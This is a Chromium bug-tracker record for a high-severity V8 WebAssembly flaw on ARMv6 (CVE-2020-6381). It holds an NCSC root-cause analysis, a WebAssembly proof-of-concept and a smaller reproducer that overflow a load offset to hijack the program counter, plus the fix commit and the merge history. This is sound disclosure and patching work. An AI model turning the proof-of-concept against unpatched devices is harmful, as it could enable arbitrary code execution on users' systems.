Starred by 3 users

Owner:	clemensb@chromium.org
CC:	adetaylor@chromium.org jkummerow@chromium.org hablich@chromium.org achuith@chromium.org clemensb@chromium.org vahl@chromium.org ecmziegler@chromium.org gdeepti@chromium.org dschuff@chromium.org ecmziegler@google.com
Status:	Verified *(Closed)*
Components:	Blink>JavaScript>Compiler Blink>JavaScript>WebAssembly
Modified:	Mar 25, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Android, Chrome
Pri:	1
Type:	Bug-Security

Hotlist-Merge-Review
reward-5000
Stability-Memory-AddressSanitizer
Security_Impact-Stable
reward-decline
Security_Severity-High
allpublic
Arch-ARM
ClusterFuzz-Verified
Test-Predator-Auto-Components
CVE_description-submitted
M-89
Target-80
Target-88
Target-81
Target-84
Target-83
Target-85

Issue 1034394: A null pointer dereference has been discovered in V8 compiler which affects the latest version.

Reported by secur...@ncsc.gov.uk on Mon, Dec 9, 2019, 9:27 AM EST

Code

Summary
A null pointer dereference has been discovered in V8 compiler which affects the latest version.
This vulnerability allows an attacker to bypass a security mitigation.

Details
ARM (unlike X86) uses fxed length 32-bit opcodes. This means that it cannot encode a 32-bit literal immediate value for an instruction to operate on. In many places within the V8 compiler, a operation on an immediate literal is required. In x86 these are encoded directly into the instruction. On ARM there is a concept of a "Constants Pool", where 32 bit literals are embedded in a pool within the machine-code. A PC-relative load is used to load these literals into a register prior to whichever operation is required. The PC-relative load instruction ldr has a limited offset range of 12-bits which can be encoded within the instruction. This means that a const pool must be emitted within 4095 bytes range of the ldr instruction which loads from it. V8 manages this by caching up constant pool entries, then checking every so often (with CheckConstPool) when an instruction is emitted whether a constant pool would be required before the next scheduled check. If required, a constant pool would be emitted, along with a b instruction to jump over the non-code data.

The logic that ensures the constants pools are always emitted "in range" is sound, however there is an additional mechanism BlockConstPoolFor which allows the emission of the constant pool to be blocked. This mechanism is designed to be used for small sections of code which must be physically contiguous. The CheckConstPool mechanism has enough margin for error built into its calculations to allow for this. The function AssembleArchTableSwitch produces jump-tables in ARM which are structured as an array of b instructions, with a computed jump into the table which selects which of the jump cases will be taken.

```
void CodeGenerator::AssembleArchTableSwitch(Instruction* instr) {
 ArmOperandConverter i(this, instr);
 Register input = i.InputRegister(0);
 size_t const case_count = instr->InputCount() - 2;
 // Ensure to emit the constant pool first if necessary.
 __ CheckConstPool(true, true); [2]
 __ cmp(input, Operand(case_count)); [3]
 __ BlockConstPoolFor(case_count + 2); [1]
 __ add(pc, pc, Operand(input, LSL, 2), LeaveCC, lo);
 __ b(GetLabel(i.InputRpo(1)));
 for (size_t index = 0; index < case_count; ++index) { [4]
 __ b(GetLabel(i.InputRpo(index + 2)));
 }
}
```

At [1] this structure is marked with BlockConstPoolFor in order to prevent constant pool emission within the jump table. If you were in a situation where a constant pool was just about to be emitted, then you entered CodeGenerator::AssembleArchTableSwitch, this could cause the constant pool window to be overrun.

To work around this, at [2] CheckConstPool(true, true) is used to force_emit a constant pool prior to the jump table. This causes all pending constants to be emitted.

However, there is an oversight at [3], The cmp instruction that is emitted compares the register input against the literal case_count. Which may cause a new constant to be required.

cmp calls through to AddrMode1.

```
void Assembler::cmp(Register src1, const Operand& src2, Condition cond) {
 AddrMode1(cond | CMP | S, no_reg, src1, src2);
}
void Assembler::mov(Register dst, const Operand& src, SBit s, Condition cond) {
 AddrMode1(cond | MOV | s, dst, no_reg, src);
}
void Assembler::AddrMode1(Instr instr, Register rd, Register rn, const Operand& x) {
 /* ... */
 if (!AddrMode1TryEncodeOperand(&instr, x)) { [5]
 DCHECK(x.IsImmediate());
 /* ... */
 Condition cond = Instruction::ConditionField(instr);
 if ((opcode == MOV) && !set_flags) {
 // Generate a sequence of mov instructions or a load from the constant
 // pool only for a MOV instruction which does not set the flags.
 DCHECK(!rn.is_valid());
 Move32BitImmediate(rd, x, cond); [7]
 } else if ((opcode == ADD) && !set_flags && (rd == rn) && !temps.CanAcquire()) {
 /* ... */
 } else {
 // The immediate operand cannot be encoded as a shifter operand, so load
 // it first to a scratch register and change the original instruction to
 // use it.
 // Re-use the destination register if possible.
 Register scratch = (rd.is_valid() && rd != rn && rd != pc) ? rd : temps.Acquire();
 mov(scratch, x, LeaveCC, cond); [6]
 AddrMode1(instr, rd, rn, Operand(scratch));
 }
 return;
 }
 /* ... */
}
```

Move32BitImmediate has two branches, if UseMovImmediateLoad returns true, a pair of instructions that each load 16- bits of immediate (movw andmovt) are used to populate the literal. This case is taken on devices that support ARMv7, and prevents this vulnerability from being accessible on these devices. On ARMv6 devices and below, the else case is taken.
At [8] a new constant pool entry is added containing our immediate.
At [9] a pc-relative LDR is emitted to load this. In this code the imm12 of the ldr_pcrel is a dummy stand-in value, that will be patched with the offset to the constant pool when it is fnally emitted. This patching is done in SetLdrRegisterImmediateOffset.

```
void Assembler::Move32BitImmediate(Register rd, const Operand& x,
 Condition cond) {
 if (UseMovImmediateLoad(x, this)) {
 /* ... */
 } else {
 int32_t immediate;
 /* ... */
 immediate = x.immediate();
 ConstantPoolAddEntry(pc_offset(), x.rmode_, immediate); [8]
 ldr_pcrel(rd, 0, cond); [9]
 }
}
```

The call to AddrMode1TryEncodeOperand at [5] always returns false in this case, as this checks whether the current instruction allows literals to be embedded within it, cmp does not allow this.
So we hit the call to mov at [6] which tries to move our immediate x to a scratch register for use in the cmp instruction.
mov calls back into AddrMode1, but this time we take call Move32BitImmediate at [7].
If we have more than 1024 (minus a few for other instructions) cases in our jump-table, then the range between the LDR instruction and the constant pool entry will overfow the 12-bits of literal space available within the instruction.
Due to how the offset is patched at [10] this allows the bits above 12 within our offset to overfow and incorrectly set higher bits within the instruction emitted, changing the function of the instruction.

```
 Instr Assembler::SetLdrRegisterImmediateOffset(Instr instr, int offset) {
 DCHECK(IsLdrRegisterImmediate(instr));
 bool positive = offset >= 0;
 if (!positive) offset = -offset;
 DCHECK(is_uint12(offset));
 // Set bit indicating whether the offset should be added.
 instr = (instr & ~B23) | (positive ? B23 : 0);
 // Set the actual offset.
 return (instr & ~kOff12Mask) | offset; [10]
}
```

In the POC we change the Rd destination register of the load, so that it loads pc register and causes a jump to an malformed address. For example:

```
0x3bb2f5b4 14 e59ff010 ldr pc, [pc, #+16] (addr 0x3bb2f5cc)
0x3bb2f5b8 18 e150000c cmp r0, ip
0x3bb2f5bc 1c 308ff100 addcc pc, pc, r0, lsl #2
0x3bb2f5c0 20 ea000c02 b +12304 -> 0x3bb325d0 <+0x3030>
0x3bb2f5c4 24 ea0021ea b +34736 -> 0x3bb37d74 <+0x87d4>
0x3bb2f5c8 28 ea000c05 b +12316 -> 0x3bb325e4 <+0x3044>
0x3bb2f5cc 2c ea0021e8 b +34728 -> 0x3bb37d74 <+0x87d4>
0x3bb2f5d0 30 ea000c06 b +12320 -> 0x3bb325f0 <+0x3050>
0x3bb2f5d4 34 ea0021e6 b +34720 -> 0x3bb37d74 <+0x87d4>
...
```

This would cause a jump to 0xea0021e8. Controlling this jump would be somewhat hard, as the only data available to be loaded by the ldr is the opcodes of the b <addr> instructions within. Additionally, we are limited to only setting bits, in the instruction, never unsetting them. Finally each bit that we want to set in the opcode requires 2^(n-2) cases within our jump table.

Proof Of Concept
This code depends on wasm-constants.js and wasm-module-builder.js from the V8 source
tree. Additionally to run d8 on a newer device in ARMv6 mode the fag --arm_arch armv6 flag
 can be used

```
log("Starting WASM Builder");
let builder = new WasmModuleBuilder();
let body = [];
// We're going to overflow the 12-bit immediate of an LDR instruction to set bits
// in the register part of the instruction. We want to set the bottom two bits
// which will flip `ip` to `pc`
const bits_to_set = 0x3000;
// Each switch case we add to our branch table adds four-bytes to the LDR offset.
const NUM_CASES = (bits_to_set/4) + 1;
// Enter the nested code blocks
for (let i=0; i<NUM_CASES; i++) {
 body.push(kExprBlock);
 body.push(kWasmStmt);
}
// Add a BrTable which selects a code block based on arg0
 body.push(kExprBlock);
 body.push(kWasmStmt);
 body.push(kExprGetLocal, 0);
 body.push(kExprBrTable, ...varuint32(NUM_CASES));
 for (let i=0; i<NUM_CASES; i++) {
 body.push(...wasmI32Const(i));
 }
 body.push(0); // default case
 body.push(kExprEnd);
// Add returns from 4096 nested blocks
for (let i=0; i<NUM_CASES; i++) {
 body.push(...wasmI32Const(i));
 body.push(kExprReturn);
 body.push(kExprEnd);
}
// Default return value
body.push(...wasmI32Const(-1));
builder.addFunction('main', kSig_i_i)
```


UK OFFICIAL SENSITIVE COMMERCIAL

```
 .addBody(body)
 .exportFunc();
log("Constructed WASM layout");
let buffer = builder.toBuffer(true);
log("Built WASM buffer");
let mod = new WebAssembly.Module(buffer);
log("Built WASM Module");
let inst = new WebAssembly.Instance(mod, {});
log("Instantiated WASM Module");
inst.exports.main(0)
```

Mitigation
Address the null pointer deference.

NCSC Vulnerability Report 498687.pdf
107 KB Download

Comment 1 by mstarzinger@chromium.org on Mon, Dec 9, 2019, 11:53 AM EST Project Member

Cc: clemensb@chromium.org jkummerow@chromium.org
Components: WebAssembly

Comment 2 by clemensb@chromium.org on Mon, Dec 16, 2019, 1:53 AM EST Project Member

Project: chromium

Moved issue v8:10042 to now be ~~issue chromium:1034394~~.

Comment 3 by ClusterFuzz on Mon, Dec 16, 2019, 1:54 AM EST Project Member

Labels: Stability-Memory-AddressSanitizer

Detailed Report: https://clusterfuzz.com/testcase?key=5377437416357888

Fuzzer:
Job Type: linux_asan_d8_v8_arm_dbg
Platform Id: linux

Crash Type: DCHECK failure
Crash Address:
Crash State:

```
  pending_32_bit_constants_.empty() || (start < first_const_pool_32_use_ + kMaxDis
  V8_Dcheck
  v8::internal::Assembler::BlockConstPoolFor
```

Sanitizer: address (ASAN)

Crash Revision: https://clusterfuzz.com/revisions?job=linux_asan_d8_v8_arm_dbg&revision=65446

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5377437416357888

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone https://github.com/google/clusterfuzz && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t https://clusterfuzz.com/testcase-detail/5377437416357888 -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at https://forms.gle/Yh3qCYFveHj6E5jz5 so we can improve.

Comment 4 by clemensb@chromium.org on Mon, Dec 16, 2019, 1:54 AM EST Project Member

Labels: Pri-1 Type-Bug-Security

Comment 5 by clemensb@chromium.org on Mon, Dec 16, 2019, 1:55 AM EST Project Member

Labels: Security_Impact-Stable a11y-audit Arch-ARM

Moved over to chromium, uploaded to ClusterFuzz, and made a proper security bug.

Comment 6 by clemensb@chromium.org on Mon, Dec 16, 2019, 1:55 AM EST Project Member

Labels: -a11y-audit

Comment 7 by ClusterFuzz on Mon, Dec 16, 2019, 2:06 AM EST Project Member

Labels: Test-Predator-Auto-Components
Components: Blink>JavaScript>Compiler

Automatically applying components based on crash stacktrace and information from OWNERS files.

If this is incorrect, please apply the Test-Predator-Wrong-Components label.

Comment 8 by clemensb@chromium.org on Mon, Dec 16, 2019, 7:43 AM EST Project Member

Status: Started (was: Untriaged)
Owner: clemensb@chromium.org
Components: Blink>JavaScript>WebAssembly

This reproduces since a long time. The fix seems to be to just move the {cmp} before the {CheckConstPool}.
Taking this, will try to upload the simple fix.

Comment 9 by clemensb@chromium.org on Mon, Dec 16, 2019, 8:34 AM EST Project Member

Smaller reproducer:

```
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Construct a big switch. The code size will overflow 4096 bytes.
const NUM_CASES = 3073;

let body = [];
// Add one block, so we can jump to this block or to the function end.
body.push(kExprBlock);
body.push(kWasmStmt);

// Add the big BrTable.
body.push(kExprLocalGet, 0);
body.push(kExprBrTable, ...wasmSignedLeb(NUM_CASES));
for (let i = 0; i < NUM_CASES + 1; i++) {
  body.push(i % 2);
}

// End the block.
body.push(kExprEnd);

// Create a module for this.
let builder = new WasmModuleBuilder();
builder.addFunction('main', kSig_v_i).addBody(body).exportFunc();
let instance = builder.instantiate();
instance.exports.main(0);
```

Comment 10 by bugdroid on Mon, Dec 16, 2019, 10:55 AM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/2d89d8a92685cfa0df8724a0ae057d97ff4b2fec

commit 2d89d8a92685cfa0df8724a0ae057d97ff4b2fec
Author: Clemens Backes <clemensb@chromium.org>
Date: Mon Dec 16 15:54:50 2019

[arm] Fix constant pool hickup for huge table switch

The {cmp} instruction might add an entry to the constant pool at a time
where we didn't expect any entries to be added.
This can be fixed by moving the {CheckConstPool} call *after* the {cmp}.

R=mslekova@chromium.org

~~Bug: chromium:1034394~~
Change-Id: If075ad0b02e2973a734d70d9e58c205bd14e6a33
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/1967380
Reviewed-by: Maya Lekova <mslekova@chromium.org>
Commit-Queue: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/heads/master@{#65463}

[modify] https://crrev.com/2d89d8a92685cfa0df8724a0ae057d97ff4b2fec/src/compiler/backend/arm/code-generator-arm.cc
[modify] https://crrev.com/2d89d8a92685cfa0df8724a0ae057d97ff4b2fec/test/mjsunit/mjsunit.status
[add] https://crrev.com/2d89d8a92685cfa0df8724a0ae057d97ff4b2fec/test/mjsunit/regress/regress-1034394.js

Comment 11 by clemensb@chromium.org on Mon, Dec 16, 2019, 10:58 AM EST Project Member

Status: Fixed (was: Started)
Labels: Security_Severity-High OS-Android OS-Chrome
NextAction: 2019-12-19

Fixed, should be merged to M-80 once we have canary coverage.
Setting high severity since this can lead to arbitrary code execution if I understand correctly.

Comment 12 by ClusterFuzz on Mon, Dec 16, 2019, 12:14 PM EST Project Member

Labels: -Security_Impact-Stable Security_Impact-Head

Detailed Report: https://clusterfuzz.com/testcase?key=5377437416357888

Fuzzer:
Job Type: linux_asan_d8_v8_arm_dbg
Platform Id: linux

Crash Type: DCHECK failure
Crash Address:
Crash State:

pending_32_bit_constants_.empty() || (start < first_const_pool_32_use_ + kMaxDis
V8_Dcheck
v8::internal::Assembler::BlockConstPoolFor

Sanitizer: address (ASAN)

Crash Revision: https://clusterfuzz.com/revisions?job=linux_asan_d8_v8_arm_dbg&revision=65446

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5377437416357888

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone https://github.com/google/clusterfuzz && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t https://clusterfuzz.com/testcase-detail/5377437416357888 -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at https://forms.gle/Yh3qCYFveHj6E5jz5 so we can improve.

Comment 13 by natashapabrai@google.com on Mon, Dec 16, 2019, 3:08 PM EST Project Member

Labels: reward-topanel

Comment 14 by ClusterFuzz on Tue, Dec 17, 2019, 3:05 AM EST Project Member

Status: Verified (was: Fixed)
Labels: ClusterFuzz-Verified

ClusterFuzz testcase 5377437416357888 is verified as fixed in https://clusterfuzz.com/revisions?job=linux_asan_d8_v8_arm_dbg&range=65462:65463

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

Comment 15 by ClusterFuzz on Tue, Dec 17, 2019, 3:05 AM EST Project Member

Detailed Report: https://clusterfuzz.com/testcase?key=5377437416357888

Fuzzer:
Job Type: linux_asan_d8_v8_arm_dbg
Platform Id: linux

Crash Type: DCHECK failure
Crash Address:
Crash State:
pending_32_bit_constants_.empty() || (start < first_const_pool_32_use_ + kMaxDis
V8_Dcheck
v8::internal::Assembler::BlockConstPoolFor

Sanitizer: address (ASAN)

Crash Revision: https://clusterfuzz.com/revisions?job=linux_asan_d8_v8_arm_dbg&revision=65446
Fixed: https://clusterfuzz.com/revisions?job=linux_asan_d8_v8_arm_dbg&range=65462:65463

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5377437416357888

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone https://github.com/google/clusterfuzz && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t https://clusterfuzz.com/testcase-detail/5377437416357888 -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at https://forms.gle/Yh3qCYFveHj6E5jz5 so we can improve.

Comment 16 by sheriffbot@chromium.org on Tue, Dec 17, 2019, 9:32 AM EST Project Member

Labels: Target-80 M-80

Setting milestone and target because of Security_Impact=Head and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 17 by sheriffbot@chromium.org on Tue, Dec 17, 2019, 10:40 AM EST Project Member

Labels: Restrict-View-SecurityNotify

Comment 18 by natashapabrai@google.com on Thu, Dec 19, 2019, 12:34 PM EST Project Member

Labels: -reward-topanel reward-unpaid reward-5000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 19 by natashapabrai@google.com on Thu, Dec 19, 2019, 12:37 PM EST Project Member

Labels: -reward-unpaid reward-decline

Congrats! The Panel decided to reward $5,000 for this report!

Comment 20 by clemensb@chromium.org on Thu, Dec 19, 2019, 12:54 PM EST Project Member

Was the change from reward-unpaid to reward-decline intended?

Comment 21 by natashapabrai@google.com on Mon, Jan 6, 2020, 12:42 PM EST Project Member

Yes - that status is put in place for donations

Comment 22 by clemensb@chromium.org on Tue, Jan 7, 2020, 5:32 AM EST Project Member

Labels: Merge-Request-80
NextAction: ----

Next action date passed without a notification?!

Requesting back merge to M-80 (canary looks good).

Comment 23 by sheriffbot@chromium.org on Tue, Jan 7, 2020, 5:34 AM EST Project Member

Labels: -Merge-Request-80 Merge-Review-80 Hotlist-Merge-Review

This bug requires manual review: M80's targeted beta branch promotion date has already passed, so this requires manual review
Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://goto.google.com/chrome-release-branch-merge-guidelines
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on master/ToT?
4. Why are these changes required in this milestone after branch?
5. Is this a new feature?
6. If it is a new feature, is it behind a flag using finch?

Please contact the milestone owner if you have questions.
Owners: govind@(Android), Kariahda@(iOS), dgagnon@(ChromeOS), srinivassista@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 24 by clemensb@chromium.org on Tue, Jan 7, 2020, 5:38 AM EST Project Member

1. Does your merge fit within the Merge Decision Guidelines?
YES

2. Links to the CLs you are requesting to merge.
https://crrev.com/c/1967380

3. Has the change landed and been verified on master/ToT?
YES

4. Why are these changes required in this milestone after branch?
FIXES SECURITY ISSUE

5. Is this a new feature?
NO

6. If it is a new feature, is it behind a flag using finch?
N/A

Comment 25 by gov...@chromium.org on Wed, Jan 8, 2020, 6:12 PM EST Project Member

Cc: hablich@chromium.org adetaylor@chromium.org

+adetaylor@ (Security TPM) & +hablich@ (V8 TPM) for M80 merge review.

Comment 26 by adetaylor@google.com on Wed, Jan 8, 2020, 6:37 PM EST Project Member

Labels: -Security_Impact-Head Security_Impact-Stable Merge-Request-79

Yes, we should merge to M80 and probably M79 too.

Comment 27 by gov...@chromium.org on Wed, Jan 8, 2020, 8:46 PM EST Project Member

Labels: -Merge-Review-80 Merge-Approved-80

Approving merge to M80 branch 3987, please merge ASAP.

For M79, let's wait until M80 Beta coverage.

Comment 28 by bugdroid on Thu, Jan 9, 2020, 2:54 AM EST Project Member

Labels: merge-merged-8.0

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/4538c579cca29100265bf089f1f579d825bac500

commit 4538c579cca29100265bf089f1f579d825bac500
Author: Clemens Backes <clemensb@chromium.org>
Date: Thu Jan 09 07:54:11 2020

Merged: [arm] Fix constant pool hickup for huge table switch

The {cmp} instruction might add an entry to the constant pool at a time
where we didn't expect any entries to be added.
This can be fixed by moving the {CheckConstPool} call *after* the {cmp}.

TBR=mslekova@chromium.org

(cherry picked from commit 2d89d8a92685cfa0df8724a0ae057d97ff4b2fec)

~~Bug: chromium:1034394~~
No-Try: true
No-Presubmit: true
No-Tree-Checks: true
Change-Id: I905fd6d531c5e7b57e9911b861b3f22abdb5a650
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/1992424
Commit-Queue: Clemens Backes <clemensb@chromium.org>
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/branch-heads/8.0@{#20}
Cr-Branched-From: 69827db645fcece065bf16a795a4ec8d3a51057f-refs/heads/8.0.426@{#2}
Cr-Branched-From: 2fe1552c5809d0dd92e81d36a5535cbb7c518800-refs/heads/master@{#65318}

[modify] https://crrev.com/4538c579cca29100265bf089f1f579d825bac500/src/compiler/backend/arm/code-generator-arm.cc
[modify] https://crrev.com/4538c579cca29100265bf089f1f579d825bac500/test/mjsunit/mjsunit.status
[add] https://crrev.com/4538c579cca29100265bf089f1f579d825bac500/test/mjsunit/regress/regress-1034394.js

Comment 29 by clemensb@chromium.org on Thu, Jan 9, 2020, 2:55 AM EST Project Member

Labels: -Merge-Approved-80

Comment 30 by adetaylor@google.com on Sat, Feb 1, 2020, 8:13 PM EST Project Member

Labels: Release-0-M80

Comment 31 by adetaylor@chromium.org on Mon, Feb 3, 2020, 6:46 PM EST Project Member
Labels: CVE-2020-6381 CVE_description-missing

Comment 32 by adetaylor@chromium.org on Mon, Feb 10, 2020, 4:35 PM EST Project Member
Labels: -CVE_description-missing CVE_description-submitted

Comment 33 by adetaylor@google.com on Wed, Mar 4, 2020, 1:44 PM EST Project Member
Cc: achuith@chromium.org

Comment 34 by sheriffbot on Mon, Mar 23, 2020, 1:53 PM EDT Project Member
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 35 by sheriffbot on Thu, Apr 9, 2020, 12:28 PM EDT Project Member
Labels: -M-80 Target-81 M-81

Comment 36 by sheriffbot on Wed, May 20, 2020, 1:29 PM EDT Project Member
Labels: -M-81 M-83 Target-83

Comment 37 by sheriffbot on Wed, Jul 15, 2020, 1:35 PM EDT Project Member
Labels: -M-83 Target-84 M-84

Comment 38 by sheriffbot on Wed, Aug 26, 2020, 1:39 PM EDT Project Member
Labels: -M-84 Target-85 M-85

Comment 39 by sheriffbot on Wed, Oct 7, 2020, 1:39 PM EDT Project Member
Labels: -M-85 M-86 Target-86

Comment 40 by sheriffbot on Wed, Nov 18, 2020, 12:24 PM EST Project Member
Labels: -M-86 M-87 Target-87

Comment 41 by sheriffbot on Wed, Jan 20, 2021, 12:24 PM EST Project Member
Labels: -M-87 Target-88 M-88

Comment 42 by sheriffbot on Wed, Mar 3, 2021, 12:24 PM EST Project Member
Labels: -M-88 Target-89 M-89

Comment 43 by adetaylor@google.com on Thu, Mar 25, 2021, 2:30 PM EDT Project Member
Labels: -Merge-Request-79